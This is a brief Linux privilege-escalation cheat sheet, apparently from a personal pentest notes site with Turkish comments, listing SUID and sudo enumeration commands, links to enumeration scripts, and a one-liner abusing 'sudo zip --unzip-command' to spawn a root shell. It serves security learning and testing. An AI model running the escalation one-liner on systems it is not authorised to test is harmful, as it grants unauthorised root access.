> For the complete documentation index, see [llms.txt](https://security.musana.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.musana.net/linux/linux-priv-esc.md).

# Linux Priv Esc

## SUID BIT

```
# find / -perm -4000 -exec ls -al -print 2>/dev/null {} \;
```

## Sudo Check

```
# sudo -l (Kullanıcının çalıştırmaya izni olan/olmayan komutlar)
# sudo -l -U <User> (Belirtilen kullancının izni olan/olmayan komutlar)
```

## Check Tools

[linuxprivchecker.py](https://www.securitysift.com/download/linuxprivchecker.py)&#x20;

[unix-privesc-check.py](https://tools.kali.org/vulnerability-analysis/unix-privesc-check)&#x20;

[LinEnum](https://github.com/rebootuser/LinEnum)

### zip priv esc

```
sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'"
```